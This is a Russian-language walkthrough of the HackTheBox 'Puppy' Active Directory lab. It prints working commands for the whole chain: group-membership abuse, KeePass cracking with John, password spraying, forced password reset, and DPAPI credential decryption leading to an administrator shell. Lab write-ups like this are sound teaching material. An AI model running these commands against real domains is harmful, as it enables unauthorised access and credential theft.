(Puppy) — машина с площадки HTB для симуляция аудита безопасности Windows Active Directory. Начнем с имеющихся учётных данных сотрудника отдела кадров (HR), который стал жертвой фишинга. Этот пользователь имеет права на изменение состава группы «разработчиков», что позволяет добавить туда собственную учётную запись и получить доступ к сетевым ресурсам (SMB-шарам), где хранится база паролей KeePassXC. После расшифровки секрета с помощью John, пройдем аутентификацию от имени второго пользователя, который состоит в группе старших разработчиков, участники которой имеют  право GenericAll над новым пользователем. Поменяем пароль этого пользователя и подключимся через WinRM. На хосте найдем резервную копию сайта, а в ней пароль от последней УЗ. Подключение через WinRM под новым пользователем даст доступ к DPAPI-хранилищу, что в конечном итоге приведет нас к флагу администра.

Разведка: Первичное сканирование

Программа nmap выявила ряд открытых TCP-портов:

Видим множество портов, характерных для контроллера домена Windows.

Для генерации файла хостов (hosts) воспользуемся инструментом netexec, затем внесем изменения в /etc/hosts:

netexec smb 10.10.11.70 --generate-hosts-file puppy.hosts                 

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

oxdf@hacky$ cat puppy.hosts /etc/hosts | sponge /etc/hosts

Проверим учетные данные:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

Учётные данные также подходят для протокола LDAP, однако не позволяют установить сеанс WinRM (что вполне ожидаемо):

oxdf@hacky$ netexec ldap puppy.htb -u levi.james -p 'KingofAkron2025!'

LDAP        10.10.11.70     389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)

LDAP        10.10.11.70     389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

oxdf@hacky$ netexec winrm puppy.htb -u levi.james -p 'KingofAkron2025!'

WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) 

WINRM       10.10.11.70     5985   DC               [-] PUPPY.HTB\levi.james:KingofAkron2025!

SMB - TCP 445

Помимо стандартных общих ресурсов контроллера домена, существует общая папка под названием DEV:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 

SMB         10.10.11.70     445    DC               [*] Enumerated shares

SMB         10.10.11.70     445    DC               Share           Permissions     Remark

SMB         10.10.11.70     445    DC               -----           -----------     ------

SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin

SMB         10.10.11.70     445    DC               C$                              Default share

SMB         10.10.11.70     445    DC               DEV                             DEV-SHARE for PUPPY-DEVS

SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC

SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share 

SMB         10.10.11.70     445    DC               SYSVOL          READ Logon server share 

Можно попытаться подключиться, но прочитать содержимое пока невозможно:

oxdf@hacky$ smbclient //puppy.htb/dev -U 'levi.james%KingofAkron2025!'

Try "help" to get a list of possible commands.

smb: \> ls

NT_STATUS_ACCESS_DENIED listing \*

Комментарий гласит: «DEV-SHARE для пользователей PUPPY-DEVS».

Всего на хосте девять пользователей:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 

SMB         10.10.11.70     445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-

SMB         10.10.11.70     445    DC               Administrator                 2025-02-19 19:33:28 0       Built-in account for administering the computer/domain

SMB         10.10.11.70     445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain

SMB         10.10.11.70     445    DC               krbtgt                        2025-02-19 11:46:15 0       Key Distribution Center Service Account

SMB         10.10.11.70     445    DC               levi.james                    2025-02-19 12:10:56 0        

SMB         10.10.11.70     445    DC               ant.edwards                   2025-02-19 12:13:14 0        

SMB         10.10.11.70     445    DC               adam.silver                   2025-05-21 21:19:29 0        

SMB         10.10.11.70     445    DC               jamie.williams                2025-02-19 12:17:26 0        

SMB         10.10.11.70     445    DC               steph.cooper                  2025-02-19 12:21:00 0        

SMB         10.10.11.70     445    DC               steph.cooper_adm              2025-03-08 15:50:40 0        

SMB         10.10.11.70     445    DC               [*] Enumerated 9 local users: PUPPY

Тут нет ничего необычного, едем дальше.

Воспользуемся инструментом BloodHound.py для сбора данных и анализа:

oxdf@hacky$ sudo ntpdate puppy.htb

2025-05-21 21:27:55.583922 (+0000) +31038.243275 +/- 0.047243 puppy.htb 10.10.11.70 s1 no-leap

CLOCK: time stepped by 31038.243275

oxdf@hacky$ bloodhound-ce-python -c all -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 --zip

INFO: BloodHound.py for BloodHound Community Edition

INFO: Found AD domain: puppy.htb

INFO: Getting TGT for user

INFO: Connecting to LDAP server: dc.puppy.htb

INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 1 computers

INFO: Connecting to LDAP server: dc.puppy.htb

INFO: Found 10 users

INFO: Found 56 groups

INFO: Found 3 gpos

INFO: Found 3 ous

INFO: Found 19 containers

INFO: Found 0 trusts

INFO: Starting computer enumeration with 10 workers

INFO: Querying computer: DC.PUPPY.HTB

INFO: Done in 00M 17S

INFO: Compressing output into 20250521213138_bloodhound.zip

Получившийся ZIP-файл загружаем в BloodHound-CE и отмечаем пользователя levi.james как захваченного. Анализ показывает, что принадлежность к группе HR предоставляет ему права GenericWrite над группой Developers:

Сейчас группа содержит трёх участников:

Авторизация от имени Ant.Edwards

Доступ к общему ресурсу DEV

Bloodhound говорит, что у нас нет очевидного пути от группы Разработчиков (Developers). Однако, учитывая комментарий к общему ресурсу, логично попробовать добавить пользователя levi.james в группу Developers, а затем снова проверить права доступа к общему каталогу DEV.

Есть много способов сделать это. Воспользуюсь инструментом net (ставится командой apt install samba):

oxdf@hacky$ net rpc group addmem developers levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb 

oxdf@hacky$ net rpc group members developers -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb 

PUPPY\levi.james

PUPPY\ant.edwards

PUPPY\adam.silver

PUPPY\jamie.williams

Теперь netexec показывает, что у пользователя levi.james есть права на чтение (READ):

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 

SMB         10.10.11.70     445    DC               [*] Enumerated shares

SMB         10.10.11.70     445    DC               Share           Permissions     Remark

SMB         10.10.11.70     445    DC               -----           -----------     ------

SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin

SMB         10.10.11.70     445    DC               C$                              Default share

SMB         10.10.11.70     445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS

SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC

SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share

SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share

И я могу изучить содержимое:

oxdf@hacky$ smbclient -U puppy.htb/levi.james //puppy.htb/dev --password 'KingofAkron2025!'

Try "help" to get a list of possible commands.

smb: \> ls

  .                                  DR        0  Sun Mar 23 07:07:57 2025

  ..                                  D        0  Sat Mar  8 16:52:57 2025

  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 07:09:12 2025

  Projects                            D        0  Sat Mar  8 16:53:36 2025

  recovery.kdbx                       A     2677  Wed Mar 12 02:25:46 2025

                5080575 blocks of size 4096. 1538336 blocks available

Каталог Projects пуст. По установочному пакету можно выяснить версию используемого KeePassXC. Скачиваем базу данных:

smb: \> get recovery.kdbx

getting file \recovery.kdbx of size 2677 as recovery.kdbx (7.0 KiloBytes/sec) (average 7.0 KiloBytes/sec)

Чтобы получить доступ к базе данных KeePassXC, требуется мастер-пароль. Я попробовал запустить команду keepass2john для генерации хеша, но попытка завершилась неудачей:

oxdf@hacky$ keepass2john recovery.kdbx 

! recovery.kdbx : File version '40000' is currently not supported!

В поисках решения проблемы я наткнулся на https://github.com/patecm/cracking_keepass/issues/2:

Установка JohnTheRipper через пакетный менеджер Snap автоматически обновляет версию:

oxdf@hacky$ sudo snap install john-the-ripper

john-the-ripper v1.9.1-ce from Claudio André (claudioandre-br) installed

Теперь я смог получить хеш:

oxdf@hacky$ john-the-ripper.keepass2john recovery.kdbx | tee recovery.kdbx.hash

recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9

Crack

Так как hashcat пока не поддерживает этот формат хеширования, я снова воспользовался JohnTheRipper:

oxdf@hacky$ john-the-ripper recovery.kdbx.hash --wordlist=rockyou.txt

KeePass-opencl: Argon2 hash(es) not supported, skipping.

Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-Argon2-opencl"

Use the "--format=KeePass-Argon2-opencl" option to force loading these as that type instead

Using default input encoding: UTF-8

Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])

Cost 1 (t (rounds)) is 37 for all loaded hashes

Cost 2 (m) is 65536 for all loaded hashes

Cost 3 (p) is 4 for all loaded hashes

Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes

Will run 12 OpenMP threads

Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

liverpool        (recovery)     

1g 0:00:00:11 DONE (2025-05-21 23:00) 0.08857g/s 3.189p/s 3.189c/s 3.189C/s tigger..liverpool

Use the "--show" option to display all of the cracked passwords reliably

Session completed. 

Пароль был "liverpool".

Dump Passwords

Установим KeePassXC (sudo snap install keepassxc). Эта версия содержит консольный интерфейс keepassxc.cli, который может экспортировать содержимое базы данных:

oxdf@hacky$ keepassxc.cli export --format csv recovery.kdbx 

Enter password to unlock recovery.kdbx: 

"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"

"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"

"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"

"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"

"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"

"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb","","","0","2025-03-10T09:03:39Z","2025-03-10T09:02:03Z"

Password Spray

Я составил список всех пользователей и запустил password spraying с добытыми паролями.

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users | grep -vF -e '[' -e '-Username-' | awk '{print $5}' | tee users.txt

Administrator

Guest

krbtgt

levi.james

ant.edwards

adam.silver

jamie.williams

steph.cooper

steph.cooper_adm

oxdf@hacky$ echo 'liverpool' | keepassxc.cli export --format csv recovery.kdbx | cut -d'"' -f8 | tee passwords.txt

Enter password to unlock recovery.kdbx: 

Password

JamieLove2025!

HJKL2025!

Antman2025!

Steve2025!

ILY2025!

Используйте netexec для перебора паролей и grep для фильтрации успешных попыток:

oxdf@hacky$ netexec smb puppy.htb -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'

SMB                      10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

Подошел для SMB, но не для WinRM:

oxdf@hacky$ netexec smb puppy.htb -u ant.edwards -p 'Antman2025!'

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 

oxdf@hacky$ netexec winrm puppy.htb -u ant.edwards -p 'Antman2025!'

WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) 

WINRM       10.10.11.70     5985   DC               [-] PUPPY.HTB\ant.edwards:Antman2025!

Shell от Adam.Silver. Enumeration

Ant.Edwards является членом группы «Senior Devs», что даёт ему полный контроль (GenericAll) над учётной записью Adam.Silver:

Мы можем выполнить Kerberoasting, изменить пароль пользователя или добавить shadow credential.

Изменение пароля

Reset

Сначала попробую сменить пароль пользователя Adam.Silver с помощью команды net, следуя инструкциям из Bloodhound:


oxdf@hacky$ net rpc password adam.silver '0xdf0xdf.' -U puppy.htb/ant.edwards%'Antman2025!' -S puppy.htb

Ничего не вышло…

oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 

SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:0xdf0xdf. STATUS_ACCOUNT_DISABLED 

Аккаунт отключён:

Enable

Активируем учётную запись с помощью утилиты BloodyAD:

oxdf@hacky$ bloodyAD -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb -d puppy.htb remove uac adam.silver -f ACCOUNTDISABLE

[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

Теперь все готово:

oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\adam.silver:0xdf0xdf. 

WinRM

Пользователь Adam.Silver имеет доступ через WinRM:

Подключаемся с помощью утилиты evil-winrm-py:

oxdf@hacky$ evil-winrm -i puppy.htb -u adam.silver -p 0xdf0xdf..

                                        

Evil-WinRM shell v3.7

                                        

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\adam.silver\Documents>

И получаем флаг пользователя.

Evil-WinRM PS C:\Users\adam.silver\desktop> cat user.txt

790a0fd5************************

Shell от Steph.Cooper. Enumeration

Домашний каталог пользователя adam.silver абсолютно пустой (кроме флага):

Evil-WinRM PS C:\Users\adam.silver> tree /f

Folder PATH listing

Volume serial number is 311D-593C

C:.

+---3D Objects

+---Contacts

+---Desktop

¦       Microsoft Edge.lnk

¦       user.txt

¦       

+---Documents

+---Downloads

+---Favorites

¦   ¦   Bing.url

¦   ¦   

¦   +---Links

+---Links

¦       Desktop.lnk

¦       Downloads.lnk

¦       

+---Music

+---Pictures

+---Saved Games

+---Searches

+---Videos

Корень диска C:\ содержит необычный каталог Backups:

Evil-WinRM PS C:\> ls

    Directory: C:\

Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

d-----          5/9/2025  10:48 AM                Backups

d-----         5/12/2025   5:21 PM                inetpub

d-----          5/8/2021   1:20 AM                PerfLogs

d-r---          4/4/2025   3:40 PM                Program Files

d-----          5/8/2021   2:40 AM                Program Files (x86)

d-----          3/8/2025   9:00 AM                StorageReports

d-r---          3/8/2025   8:52 AM                Users

d-----         5/13/2025   4:40 PM                Windows

Скачаем его:

Evil-WinRM PS C:\Backups> download site-backup-2024-12-30.zip

                                        

Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip

                                        

Info: Download successful!

Site Backup

Архив содержит резервную копию веб-сайта, который отсутствует на целевой машине:

oxdf@hacky$ unzip -l site-backup-2024-12-30.zip 

Archive:  site-backup-2024-12-30.zip

  Length      Date    Time    Name

---------  ---------- -----   ----

        0  1980-00-00 00:00   puppy/

      864  1980-00-00 00:00   puppy/nms-auth-config.xml.bak

        0  1980-00-00 00:00   puppy/images/

    98560  1980-00-00 00:00   puppy/images/banner.jpg

   650325  1980-00-00 00:00   puppy/images/jamie.jpg

   692101  1980-00-00 00:00   puppy/images/antony.jpg

  1175364  1980-00-00 00:00   puppy/images/adam.jpg

   810357  1980-00-00 00:00   puppy/images/Levi.jpg

        0  1980-00-00 00:00   puppy/assets/

        0  1980-00-00 00:00   puppy/assets/js/

      831  1980-00-00 00:00   puppy/assets/js/jquery.scrolly.min.js

    12433  1980-00-00 00:00   puppy/assets/js/util.js

     2439  1980-00-00 00:00   puppy/assets/js/breakpoints.min.js

    89501  1980-00-00 00:00   puppy/assets/js/jquery.min.js

     1499  1980-00-00 00:00   puppy/assets/js/main.js

     5106  1980-00-00 00:00   puppy/assets/js/jquery.dropotron.min.js

     2051  1980-00-00 00:00   puppy/assets/js/browser.min.js

        0  1980-00-00 00:00   puppy/assets/webfonts/

    34034  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.eot

   918991  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.svg

   202744  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.ttf

    78268  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.woff2

   747927  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.svg

   101648  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.woff

   203030  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.eot

    33736  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.ttf

    13224  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.woff2

   144714  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.svg

   134294  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.eot

    89988  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.woff

   133988  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.ttf

    76736  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.woff2

    16276  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.woff

        0  1980-00-00 00:00   puppy/assets/css/

    50255  1980-00-00 00:00   puppy/assets/css/main.css

        0  1980-00-00 00:00   puppy/assets/css/images/

      108  1980-00-00 00:00   puppy/assets/css/images/overlay.png

     2819  1980-00-00 00:00   puppy/assets/css/images/highlight.png

    59401  1980-00-00 00:00   puppy/assets/css/fontawesome-all.min.css

        0  1980-00-00 00:00   puppy/assets/sass/

    25026  1980-00-00 00:00   puppy/assets/sass/main.scss

        0  1980-00-00 00:00   puppy/assets/sass/libs/

     7355  1980-00-00 00:00   puppy/assets/sass/libs/_vendor.scss

     1957  1980-00-00 00:00   puppy/assets/sass/libs/_functions.scss

     2840  1980-00-00 00:00   puppy/assets/sass/libs/_html-grid.scss

      210  1980-00-00 00:00   puppy/assets/sass/libs/_vars.scss

     4577  1980-00-00 00:00   puppy/assets/sass/libs/_breakpoints.scss

     2218  1980-00-00 00:00   puppy/assets/sass/libs/_mixins.scss

     7258  1980-00-00 00:00   puppy/index.html

---------                     -------

  6635053                     49 files

Большая часть архива — статический веб-контент, но есть и конфигурационный файл nms-auth-config.xml.bak:

oxdf@hacky$ unzip site-backup-2024-12-30.zip puppy/nms-auth-config.xml.bak

Archive:  site-backup-2024-12-30.zip

  inflating: puppy/nms-auth-config.xml.bak  

oxdf@hacky$ cat puppy/nms-auth-config.xml.bak 

<?xml version="1.0" encoding="UTF-8"?>

<ldap-config>

    <server>

        <host>DC.PUPPY.HTB</host>

        <port>389</port>

        <base-dn>dc=PUPPY,dc=HTB</base-dn>

        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>

        <bind-password>ChefSteph2025!</bind-password>

    </server>

    <user-attributes>

        <attribute name="username" ldap-attribute="uid" />

        <attribute name="firstName" ldap-attribute="givenName" />

        <attribute name="lastName" ldap-attribute="sn" />

        <attribute name="email" ldap-attribute="mail" />

    </user-attributes>

    <group-attributes>

        <attribute name="groupName" ldap-attribute="cn" />

        <attribute name="groupMember" ldap-attribute="member" />

    </group-attributes>

    <search-filter>

        <filter>(&(objectClass=person)(uid=%s))</filter>

    </search-filter>

</ldap-config>

Здесь содержится пароль для пользователя Steph.Cooper: "ChefSteph2025!".

WinRM

Этот пароль подходит как для SMB, так и для подключения через WinRM:

oxdf@hacky$ netexec smb puppy.htb -u steph.cooper -p 'ChefSteph2025!'

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! 

oxdf@hacky$ netexec winrm puppy.htb -u steph.cooper -p 'ChefSteph2025!'

WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) 

WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)

Получаем shell:

oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'

                                        

Evil-WinRM shell v3.7

                                        

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\steph.cooper\Documents> 

Shell от имени steph.cooper_adm

Enumeration

У пользователя Steph.Cooper есть сохранённая учётная запись в Windows Credential Manager:

Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force

    Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials

Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

Мастер-ключ тоже находится в соответствующем месте:

Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> ls -force

    Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107

Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407

-a-hs-         2/23/2025   2:36 PM             24 Preferred

DPAPI

По какой-то причине Evil-WinRM вылетает при попытке загрузить эти файлы:

Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9

                                        

Info: Downloading C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9

                                        

Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

Закодируем их в Base64:

Evil-WinRM PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))

AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc

Evil-WinRM PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))

AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=

Для каждого из трех файлов сделаем следующее: вставляем Base64, декодируем и сохраняем в отдельный файл.

Теперь можно расшифровать мастер-ключ с помощью библиотеки dpapi:

oxdf@hacky$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]

Version     :        2 (2)

Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407

Flags       :        0 (0)

Policy      : 4ccf1275 (1288639093)

MasterKeyLen: 00000088 (136)

BackupKeyLen: 00000068 (104)

CredHistLen : 00000000 (0)

DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)

Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

И, наконец, расшифровываем с помощью ключа:

oxdf@hacky$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]

LastWritten : 2025-03-08 15:54:29

Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)

Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)

Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)

Target      : Domain:target=PUPPY.HTB

Description : 

Unknown     : 

Username    : steph.cooper_adm

Unknown     : FivethChipOnItsWay2025!

WinRM

Получаем shell с помощью Evil-WinRM:

oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'

                                        

Evil-WinRM shell v3.7

                                        

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\steph.cooper_adm\Documents>

Данный пользователь входит в группу Администраторов:

Evil-WinRM PS C:\Users\steph.cooper_adm\Documents> whoami /groups

GROUP INFORMATION

-----------------

Group Name                                 Type             SID          Attributes

========================================== ================ ============ ===============================================================

Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group

BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner

BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group

